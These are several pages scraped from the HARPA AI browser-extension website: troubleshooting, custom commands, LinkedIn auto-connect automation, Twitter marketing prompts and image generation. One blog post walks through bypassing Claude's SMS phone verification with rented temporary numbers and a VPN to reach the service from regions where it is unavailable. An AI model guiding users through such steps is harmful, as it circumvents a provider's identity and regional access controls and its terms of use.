date of writing. Currently, there is no workaround apart from using a different browser. Please consider using a [different Chromium-based browser](https://alternativeto.net/category/browsers/chromium-based/) . ### [\#](https://harpa.ai/guides/harpa-is-not-working#kaspersky-antivirus) Kaspersky Antivirus Kaspersky Antivirus could cause AI connections to fail. There are two settings to check: _Option 1: Disable Anti-Banner feature_ To enable or disable Anti-Banner in the main window, perform the following steps: 1. In the main window of Kaspersky Total Security, click ⚙️. ![](https://harpa.ai/img/blog/troubleshooting-5.webp) 2. Go to the**Protection**section and **Disable Anti-Banner option**. ![](https://harpa.ai/img/blog/troubleshooting-6.webp) Restart your browser and try using HARPA AI again. If the issue is resolved, you can [follow Kaspersky's instructions](https://support.kaspersky.com/kts20/settings/protection/15169) to configure the Anti-Banner feature to work on specific websites. _Option 2: Disable "Inject script into web traffic"_ Open Settings > Security Settings > Network Settings > in Traffic Processing section **Disable "Inject script into web traffic"** option, restart browser to see if the issue persists. ![](https://harpa.ai/img/blog/troubleshooting-7.webp) [\#](https://harpa.ai/guides/harpa-is-not-working#api-connection-problems) API connection problems --------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/guides/harpa-is-not-working#i-entered-my-api-key,-but-connection-fails?) I entered my API key, but connection fails? Make sure to specify correct API proxy URL for your LLm provider, which can be found in the HARPA's tooltip: * [https://api.openai.com](https://api.openai.com/) for OpenAI connection. * [https://openrouter.ai/api](https://openrouter.ai/api) for OpenRouterAI connection. The minimum settings required for the API connection to work include: API key, Chat Model, API proxy URL. Typical configuration looks like this: ![](https://harpa.ai/img/blog/troubleshooting-8.webp) If all data is correct and the connection fails, ensure your OpenAI/OpenRouter account is funded. For help, check out the full guides: * [Connecting to OpenAI API](https://harpa.ai/blog/how-to-get-an-openai-api-key) * [Connecting to OpenRouter](https://harpa.ai/blog/openrouter-connection-in-harpa-ai) **Advanced Settings Problems** 1. If you specified "context window" or "max response tokens" settings and the connection doesn't work: * Reduce the values of these parameters, as the actual size of the context window may differ from what is specified in the LLM description. * Remove these settings and try connecting without them. 2. If you used specific settings like temperature, presence penalty, or frequency penalty, try removing them and connecting with automatic parameters. [\#](https://harpa.ai/guides/harpa-is-not-working#cloudgpt-problems) CloudGPT Problems --------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/guides/harpa-is-not-working#your-space-balance-is-out-of-tokens) Your space balance is out of tokens ![](https://harpa.ai/img/guides/troubleshooting-12.webp) You received this message because your [CloudGPT](https://harpa.ai/blog/cloud-gpt-connection) balance is close to zero or negative, regardless of whether you are on the Demo, S, or X plan. You can choose a connection that does not use CloudGPT tokens, [top up your token balance](https://harpa.ai/pricing#cloudgpt) , or purchase the HARPA S plan, which includes tokens. Currently, we're offering a 25% bonus on tokens when purchasing an annual S1 or S2 plan. HARPA supports various AI models, including OpenAI's GPT, Anthropic's Claude, Google's Gemini and various connection types. Click the connection button in the bottom-left corner, which will open a menu showing: 1. [CloudGPT](https://harpa.ai/blog/cloud-gpt-connection) connections - these are our premium connections available for tokens. 2. Web session connections - these connections work through the user's [ChatGPT](https://harpa.ai/blog/chatgpt-web-session) / [Claude AI](https://harpa.ai/blog/claude-ai-connection) / [Gemini](https://harpa.ai/blog/google-bard-connection) account. Web Sessions may be rate limited by operator. 3. [API Key connections](https://harpa.ai/blog/how-to-get-an-openai-api-key) - these connections work through the user's OpenAI, Claude, [OpenRouterAI](https://openrouter.ai/) or other API keys. Don't forget to click the **DEFAULT** button beside chosen connection, to ensure every new chat you create opens with the preset connection. ![](https://harpa.ai/img/guides/troubleshooting-11.webp) Here is a [brief guide](https://harpa.ai/guides/getting-started) on connections and HARPA interface. ### [\#](https://harpa.ai/guides/harpa-is-not-working#how-does-token-counting-work?) How Does Token Counting Work? With CloudGPT connections, as with API connections, the volume of your consumption is measured in **tokens**. We calculate in millions of tokens for simplicity, calling them **Megatokens**. It can be challenging to grasp the token format when you're more familiar with quantifying text volume in words. LLM operators utilize tokens because, depending on the text's alphabet, each word can occupy a different number of tokens. Hence, it's common practice to measure input/output volume in tokens. You can use the [OpenAI tokenizer](https://platform.openai.com/tokenizer) to understand how a piece of text might be tokenized by a language model, and the total count of tokens in that piece of text. ### [\#](https://harpa.ai/guides/harpa-is-not-working#my-cloudgpt-tokens-are-being-consumed-quickly) My CloudGPT Tokens are being consumed quickly Depending on the connection, the cost of input and output tokens varies. * The basis for calculation are the GPT-5 Nano input tokens. * For example, GPT-5.4 is 10 times more expensive than GPT-5 Nano. * The calculation method for Claude AI is the same, as everything is compared to the price of GPT-5 Nano input tokens. * This is directly related to the token prices from OpenAI or Claude AI, and not set arbitrarily by us. ![](https://harpa.ai/img/guides/troubleshooting-15.webp) Therefore, different LLMs consume your CloudGPT balance at different rates. For instance, a YouTube summary of a 10-minute video may consume 30-35,000 tokens with a GPT-5.4 connection, and about 3,500 tokens with GPT-5 Nano. Under each AI response, you can see the ✨ button, and by hovering your mouse over it, you'll see how many tokens the used command or chat message consumed. ![](https://harpa.ai/img/guides/troubleshooting-14.webp) You can check your account consumption stats anytime on [this page](https://harpa.ai/account/spaces/) ![](https://harpa.ai/img/guides/troubleshooting-13.webp) You can reduce token consumption by decreasing the context window size in the connection's **Advanced settings**. The context window size determines how much information the AI receives from past communication (conversation context). ![](https://harpa.ai/img/guides/troubleshooting-16.webp) We recommend using GPT-5 Nano for information analysis purposes, such as summaries, as it is quite sufficient, and GPT-5.4 or Claude Sonnet 4.6 will not do much better but will be significantly more expensive. [\#](https://harpa.ai/guides/harpa-is-not-working#app-functionality) App Functionality --------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/guides/harpa-is-not-working#why-harpa-does-not-open-on-a-web-page?) Why HARPA does not open on a web page? Some domains, e.g., Discord, may require you to disable fingerprint protection on Brave and Edge. Click HARPA icon in the browser toolbar, instead of pressing Alt+A. **If the HARPA popup does not appear:** 1. Right-click HARPA icon in the browser toolbar. Make sure "This Can Read and Change Site Data" option is set to "On all sites." 2. **uBlock** may prevent HARPA from loading on some websites. Try turning it off for the web page. 3. If you are on **Chrome**: * Navigate to _chrome://settings/content/popups_ * Add your domain to the Allow list. 4. If you are on **Brave**: * Navigate to _brave://settings/shields_ * Either deactivate “Prevent sites from fingerprinting me based on my language preferences” option, or deactivate Brave Shields for your domain, e.g., Discord. 5. If you are on **Edge**: * Navigate to _edge://settings/content/ads_ * Either deactivate "Intrusive Ads" block or add your domain to the Allow list. If nothing helps, navigate to _chrome://extensions_, disable HARPA, quit and restart your browser, and turn HARPA back on. ### [\#](https://harpa.ai/guides/harpa-is-not-working#why-do-i-get-crx_file_not_readable-error?) Why do I get CRX\_FILE\_NOT\_READABLE error? This error may occur if: * You downloaded a CRX file and installing it manually. CRX files downloaded online may be broken or insecure. We recommend installing HARPA from the official Chrome Web Store. * You are using **NordVPN** with the "THREAT PROTECT" is ON. Turn it OFF while installing HARPA extension. ### [\#](https://harpa.ai/guides/harpa-is-not-working#why-harpa-says-there-is-no-video-transcript?) Why HARPA says there is no video transcript? * Please check **[if HARPA has permissions](https://harpa.ai/guides/harpa-is-not-working#check-harpa-permissions) ** to access web pages. * If a YouTube video is fresh or has a low number of views, it may not have a transcript available. ### [\#](https://harpa.ai/guides/harpa-is-not-working#how-to-turn-off-the-bar-that-pops-up-when-i-select-text?) How to turn off the bar that pops up when I select text? **\[Option 1\].** If you want to turn off the Quick Access Bar back, you can do so in the App settings (”gear” button): * Disable the option to "Show on web pages" or "Show on text selection." * **\[Alternatively\]** Add a list of pages where it will not be active. **\[Option 2\].** Disable the Quick Access Bar by clicking **\[x\]** at the top. Optionally: * Press and hold **Alt** while clicking to disable it on this page only. * Press and hold **Shift** while clicking to disable it globally. ![](https://harpa.ai/img/blog/troubleshooting-9.webp) [Click here](https://harpa.ai/guides/quick-access-bar) to learn more about the Quick Access Bar. ### [\#](https://harpa.ai/guides/harpa-is-not-working#can-not-synch-chat-history-across-devices?) Can not synch chat history across devices? You can reuse chats within the same browser, but not across multiple browsers or devices. For privacy, chat histories aren't sent to servers but stored locally, ensuring extra level of security. **Please consider the following when using HARPA:** * If you need to uninstall the App, all your chat history will be deleted. * If you need to install a Beta build (like when waiting for a CWS update), do not delete the production version. Disable it instead, and your history will stay safe. * The Beta version does not synch up chat history with the production version. ### [\#](https://harpa.ai/guides/harpa-is-not-working#can-not-upload-or-read-pdfs?) Can not upload or read PDFs? Currently, HARPA handles only web-based PDFs and can not access files on your local file system directly. You can upload PDFs to [Google Drive](https://www.google.com/drive/) , [DropBox](https://www.dropbox.com/) , or similar cloud storage, receive them via email, or fetch from services like [arxiv.org](http://arxiv.org/) . Working with local PDF files is one of the features in our roadmap. ### [\#](https://harpa.ai/guides/harpa-is-not-working#how-to-change-ai-response-language-or-ui-language?) How to change AI response language or UI language? Both the AI response language and the UI language can be changed in the HARPA AI settings at the top of the settings list. ![](https://harpa.ai/img/chatml/trouble-lang.webp) You can also send {{language}} parameter in chat along with your prompts to instruct AI to reply in a given language. ### [\#](https://harpa.ai/guides/harpa-is-not-working#do-you-offer-a-firefox-version?) Do you offer a Firefox version? Not at the moment. The Firefox version as well as UI translation are planned after all the major features are implemented. [\#](https://harpa.ai/guides/harpa-is-not-working#my-problem-persists) My problem persists ------------------------------------------------------------------------------------------- If your issue remains unresolved, please send us a bug report to [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection#01727471716e73754169607371602f6068) or through our Discord channel at [https://discord.com/invite/BsbjAXpqgC](https://discord.com/invite/BsbjAXpqgC) . Here's the [complete guide](https://harpa.ai/guides/helpful-bug-reports) on how to make helpful bug reports. In short, please include with your bug report: * A description of the issue & your system configuration: browser (e.g. Brave) and operating system versions (e.g. MacOS 12). * **\[Recommended\]** Screenshot of the App. * **\[Recommended\]** Custom command export file, if your custom command fails. * **\[Recommended\]** Screenshot of the Background Console and Network Log ([guide on how to get it](https://harpa.ai/guides/helpful-bug-reports#how-to-take-app-console-screenshot) ). [\#](https://harpa.ai/guides/harpa-is-not-working#links-for-further-reading) Links for further reading ------------------------------------------------------------------------------------------------------- * [Billing Issues](https://harpa.ai/guides/billing-issues) * [How to Report Bugs](https://harpa.ai/guides/helpful-bug-reports) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/team-spaces) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/billing-issues) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Creating AI Commands [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/chatml.svg) Creating AI Commands ==================== CONTENTS [\#](https://harpa.ai/chatml/creating-custom-commands#how-to-create-a-custom-ai-command?) How to create a Custom AI Command? ----------------------------------------------------------------------------------------------------------------------------- HARPA supports creating custom multi-step AI-powered automations, called Commands. Commands combine powers of Web Automation and Large Language Models, and are designed to streamline your workflow. ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Commands are easy to create and use. You do not need to have engineering knowledge to set up a custom AI command and boost your productivity. To begin, make sure to install Google Chrome or a Chromium-based browser. 1. Install the free [HARPA AI Chrome Extension](https://get.harpa.ai/) . 2. Connect to [ChatGPT](https://chatgpt.com/) , [Gemini](https://gemini.google.com/chat) or [Claude AI](https://harpa.ai/blog/claude-ai-connection) in your browser. 3. Navigate to any websites and open HARPA by clicking its icon in the top right corner or pressing **Alt+A** (on Windows) and **^+A** (on Mac). Once you have HARPA AI installed, access the AI chat interface in HARPA AI, type **/** and click the **CREATE +** option at the top. Done! You now have a sample command initialized in the Command Editor. This command has a sample GPT step that summarizes a web page into bullet points. * To customize your new command, click the **ADD STEP** button and pick a step type to add to your new command. More on steps, click here: [Automation Steps](https://harpa.ai/chatml/automation-steps) . * For customizing your command with parameters, click here: [Parameters](https://harpa.ai/chatml/parameters) . Click **SAVE** to save your command. You can now run it on any website by clicking the HARPA AI icon in the top right corner or by pressing **Alt+A** (on Windows) or **^+A** (on Mac). [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/chatml/overview) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/chatml/importing-custom-commands) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | LinkedIn: Daily Auto-Connect with Targeted Contacts [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) LinkedIn: Daily Auto-Connect with Targeted Contacts =================================================== CONTENTS The easiest way to find new leads in your target industry on LinkedIn is networking. This routine process can be automated in 5 minutes, and you'll never have to think about it again while automatically getting 20-30 relevant contacts throughout the year. This scenario requires neither Make.com nor Grid setup. It's as simple as a regular contact search - which you'll need to do once, plus a schedule command that will connect with everyone within that search. [\#](https://harpa.ai/grid/linkedin-automated-networking-stratagy#how-to-setup-linkedin-networking-automation) How to Setup LinkedIn Networking Automation ----------------------------------------------------------------------------------------------------------------------------------------------------------- 1. Import this command from the [Command Library](https://harpa.ai/library) : * [LinkedIn Auto Search & Connect](https://harpa.ai/library/linked-in-auto-search-%2526-connect/679cfa1e202cae245c3e252c) 2. Switch your LinkedIn interface language to English in settings: [https://www.linkedin.com/mypreferences/d/settings/language](https://www.linkedin.com/mypreferences/d/settings/language) 3. Search for your target connections as you normally would. Refine filters based on your needs including country, job title and other parameters. ![](https://harpa.ai/img/grid/automate-linkedin-networking-1.webp) 4. Open HARPA on this page and go to the **AUTOMATE** tab at the top. If you already have automations set up, click "Automate This Page" at the top (page icon with +) to create a new one. 5. In the automation menu, scroll to the bottom to find **Schedule AI Command** and click the **AI Command** field. ![](https://harpa.ai/img/grid/automate-linkedin-networking-2.webp) 6. Under **WEB PAGE**, copy and paste your LinkedIn search URL: ![](https://harpa.ai/img/grid/automate-linkedin-networking-3.webp) The command will open this page daily and connect with people from your search results. 7. Under **AI COMMAND**, copy the command name - _LinkedIn Auto Search & Connect_. * Add the first input - number of connections per command run (per day in our case). We recommend setting 20-30 connections to ensure stable operation within LinkedIn's limits. * Add "Done" as the second input to finish the command. * Set "json.length" as the result parameter to track daily connection numbers on the Automations Tab. ![](https://harpa.ai/img/grid/automate-linkedin-networking-4.webp) Note: No need to select an LLM as this command doesn't use AI. 8. In the **SCHEDULE** menu, select **Run Frequency** - **every day** and **Auto-Close Tab**. Other modes like Hidden Frame may not work properly with LinkedIn's JS code. 9. **START** your Automation. It will run daily, giving you 20 new contacts each day. ![](https://harpa.ai/img/grid/automate-linkedin-networking-5.webp) ### [\#](https://harpa.ai/grid/linkedin-automated-networking-stratagy#helpful-guides:) Helpful Guides: Try our [LinkedIn Lead Generation & Data Enrichment](https://harpa.ai/grid/linkedin-lead-generation-and-data-enrichment) scenario to extract contact information from searches, groups, or companies by parsing individual profile data and consolidating it into Google Sheets, CRM or Airtable. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/auto-draft-support-email-replies) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/linkedin-lead-generation-and-data-enrichment) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for Twitter [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/apps/twitter.svg) ChatGPT for Twitter =================== CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-twitter#chatgpt-for-twitter)  ChatGPT for Twitter --------------------------------------------------------------------------------------- Twitter is a powerful platform for businesses to reach their target audience and generate leads. However, creating engaging content, managing social media accounts, and reaching out to influencers can be time-consuming and overwhelming. This is where HARPA.AI comes in. HARPA.AI is a Chrome Extension that integrates the advanced language model, ChatGPT, into the Twitter website. It offers a variety of features designed to make Twitter marketing effortless and efficient. Here is a list of Twitter-aware ChatGPT commands HARPA.AI provides: ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/linkedin.svg)![](https://harpa.ai/img/apps/twitter.svg)![](https://harpa.ai/img/apps/facebook.svg) Social bio section generator Helps you create a catchy bio for any social website, Instagram, Twitter, LinkedIn etc. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/linkedin.svg)![](https://harpa.ai/img/apps/tiktok.svg) Hashtag generator Create up to 30 social media Hashtags. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/twitter.svg) Influencer outreach DM Write cold outreach DMs to help you sign influencer campaigns. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/tiktok.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/twitter.svg) Social media content ideas Generate a list of 10 engaging post ideas that are tailored to the interests of your target audience, increase engagement and drive traffic. [USE COMMAND](https://get.harpa.ai/) ### [##](https://harpa.ai/case/chatgpt-for-twitter#how-to-use-chatgpt-with-twitter)  How to Use ChatGPT with Twitter To use ChatGPT with Twitter, you need a free ChatGPT Account and a HARPA.AI Chrome Extension. Here are the steps to get started: * **Setting up a ChatGPT account**: Navigate to the ChatGPT website and sign up for a free account. * **Installing the HARPA.AI Chrome Extension**: Install the free HARPA.AI Chrome Plugin from the Chrome Web Store in a few clicks. * **Using HARPA AI ChatGPT commands**: When HARPA is installed, navigate to the Twitter website and press **Alt+A** on your keyboard or click the plugin icon in the Chrome Toolbar. HARPA will launch. Type **/twitter** to HARPA chat to bring a list of ChatGPT prompts for Twitter. ### [##](https://harpa.ai/case/chatgpt-for-twitter#use-case-scenarios)  Use Case Scenarios HARPA.AI is easy to use and can save you a lot of time and effort in your Twitter marketing. Whether you're a marketer, copywriter, or social media manager, HARPA.AI is a great tool for streamlining your Twitter work: * **Tweet Summary**: Summarize pages into tweets with just a few clicks, saving you time and effort. * **Reply Generator**: Generate engaging replies to tweets, increasing your social media presence and engagement. * **Influencer Outreach DM**: Write effective cold outreach DMs to help you sign influencer campaigns and increase your reach. * **Social Media Content Ideas**: Get a list of 10 engaging post ideas tailored to your target audience, increasing engagement and driving traffic. * **Twitter Hashtag Generator**: Create up to 30 Twitter hashtags with just a few clicks, making it easy to categorize and find your tweets. If you have an idea for a feature, you can contact us below and share your thoughts. We are always looking for ways to improve and make HARPA.AI even more effective. GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | How to Bypass Claude AI SMS Verification [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/communication/phone-call-01.svg) How to Bypass Claude AI SMS Verification ======================================== OUTLINE NAVIGATE [\#](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification#introduction) Introduction ----------------------------------------------------------------------------------------------- If you've faced challenges with Claude AI Connection because of the SMS verification requirement, there's important news: now, phone number verification is mandatory in countries where Claude is officially available. This guide offers a secure workaround for bypassing this verification using [MobileSMS.io](http://mobilesms.io/) , enabling you to sign up for Claude even if the service hasn't been officially launched in your area yet. [\#](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification#what-you-will-need) What You Will Need ----------------------------------------------------------------------------------------------------------- 1. [MobileSMS.io](http://mobilesms.io/) Account 2. Supported IP address (only available in the UK and the US) 3. Payment Method (for [MobileSMS.io](http://mobilesms.io/) credit) [\#](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification#ip-address-compatibility) IP Address Compatibility ----------------------------------------------------------------------------------------------------------------------- If you've attempted to connect with Claude but your country isn't supported, worry not. You can easily resolve this by using a free VPN service. For instance, Claude functions seamlessly when connected to a US VPN in [Browsec VPN.](https://chrome.google.com/webstore/detail/browsec-vpn-free-vpn-for/omghfjlpggmjjaagoclmmobgdodcjboh) ![](https://harpa.ai/img/blog/blog6-1.webp) [\#](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification#step-by-step-procedure) Step-by-Step Procedure ------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification#step-1:-set-up-a) Step 1: Set up a [MobileSMS.io](http://mobilesms.io/) account Navigate to [MobileSMS.io](https://mobilesms.io/) and register for an account to access temporary phone numbers for SMS verification. ### [\#](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification#step-2:-top-up-your-account) Step 2: Top up your account Multiple payment options are available, including Visa, MasterCard, and cryptocurrency. Please top up your account to proceed. If you need to deposit less than $10, click the highlighted link: ![](https://harpa.ai/img/blog/blog6-2.webp) ### [\#](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification#step-3:-connection-to-claude-ai) Step 3: Connection to Claude AI Sign up via [Anthropic's](https://claude.ai/chats) website. ![](https://harpa.ai/img/blog/blog6-3.webp) ### [\#](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification#step-4:-select-the-service-and-country) Step 4: Select the Service and Country Select "**Claude**" for the service and either "**United States**" or "**United Kingdom**" for the country. Click the "**Get One-Time Number** button." ![](https://harpa.ai/img/blog/blog6-4.webp) ### [\#](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification#step-5:-sms-code-verification) Step 5: SMS Code Verification Enter SMS verification code you obtained via [MobileSMS.io](http://mobilesms.io/) to finalize your Claude AI account setup. ![](https://harpa.ai/img/blog/blog6-5.webp) ### [\#](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification#troubleshooting) Troubleshooting * **Overcoming Geographic Restrictions**: Access Claude with a compatible IP address using a VPN * **Failed Verification Attempts**: Reset the verification process by requesting a new temporary number. [\#](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification#more-chatgpt-troubleshooting-guides) More ChatGPT Troubleshooting Guides --------------------------------------------------------------------------------------------------------------------------------------------- * [How to Fix ChatGPT Too Many Responses in 1 Hour](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [How to Fix ChatGPT is at Capacity Right Now](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [How to Fix ChatGPT Internal Server Error](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [How to Fix ChatGPT Error 1020](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [How to Fix ChatGPT Plugins Not Showing Up](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [ChatGPT SMS verification](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [ClaudeAI SMS verification](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/chatgpt-for-online-shopping) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Image Generation [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/images/image-01.svg) Image Generation ================ CONTENTS NAVIGATE [\#](https://harpa.ai/guides/image-generation#image-generation-in-harpa-ai) Image Generation in HARPA AI --------------------------------------------------------------------------------------------------------- The default HARPA AI CloudGPT connection comes with **built-in image generation**. When you ask the AI to generate an image, it creates one directly in the chat — no extra setup required. ### [\#](https://harpa.ai/guides/image-generation#how-to-use-image-generation) How to Use Image Generation 1. Make sure you have a HARPA AI CloudGPT connection selected. ![](https://harpa.ai/img/guides/ai-web-search-1.webp) 2. Ask the AI to generate an image, e.g. "Draw a sunset over the ocean" or "Generate a logo for a coffee shop." 3. The AI will generate and display the image right in the chat. ![](https://harpa.ai/img/guides/image-generation-1.webp) ![icon](https://harpa.ai/icon/lines/images/image-01.svg) Click on the image to open it full size in a new tab. You can also ask the AI to edit an image you've sent: ![](https://harpa.ai/img/guides/image-generation-2.webp) Or combine multiple images into one: ![](https://harpa.ai/img/guides/image-generation-3.webp) ### [\#](https://harpa.ai/guides/image-generation#prompt-examples) Prompt Examples Beyond simple everyday prompts, the AI understands complex descriptions with technical parameters — experiment with camera settings, filters, color palettes, and art styles: **Photography & camera settings:** Street portrait of an elderly man in Tokyo rain, shot on Canon EF 85mm f/1.2 lens, wide open aperture, Kodak Portra 400 film emulation, 16:9 aspect ratio, shallow depth of field with neon bokeh Aerial drone shot of lavender fields at golden hour, polarizing filter, DJI Mavic color profile, split toning with warm highlights and cool shadows, 3:2 aspect ratio **Color palette & filters:** Vintage diner interior, cross-processed Fuji Velvia look, oversaturated reds and teals, lifted blacks, chromatic aberration on edges, halation around neon signs, 4:5 aspect ratio Nordic winter cabin, desaturated color palette limited to slate blue, warm grey, and burnt sienna, matte finish, soft diffused overcast lighting, no harsh shadows **Abstract & artistic:** Generative art piece: recursive fractal geometry dissolving into particles, deep black background, accent colors electric cyan and magenta, inspired by Ryoji Ikeda's data sculptures Fluid dynamics simulation frozen in time — two colliding ink drops in water, one gold and one indigo, extreme macro, white background, hyper-detailed caustics and light refraction Feel free to mix and match these parameters to get the result you want. [\#](https://harpa.ai/guides/image-generation#related-guides) Related Guides ----------------------------------------------------------------------------- * **[CloudGPT Connections](https://harpa.ai/guides/cloudgpt-connections) ** — Premium hosted AI models powered by 